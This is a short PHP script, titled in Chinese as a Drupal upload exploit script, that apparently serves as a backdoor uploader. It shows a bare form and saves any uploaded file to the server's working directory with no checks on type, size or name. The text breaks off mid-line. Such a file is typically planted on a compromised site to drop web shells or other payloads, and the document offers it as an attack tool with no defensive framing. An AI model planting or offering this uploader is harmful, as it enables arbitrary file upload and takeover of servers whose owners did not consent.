drupal上传利用脚本

<?phpif(isset($_POST['Submit'])){    $filedir = "";    $maxfile = '2000000';    $userfile_name = $_FILES['image']['name'];    $userfile_tmp = $_FILES['image']['tmp_name'];    if (isset($_FILES['image']['name'])) {        $abod = $filedir.$userfile_name;        @move_uploaded_file($userfile_tmp, $abod);echo"<center><b>Done ==> $userfile_name</b></center>";}}else{echo'<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>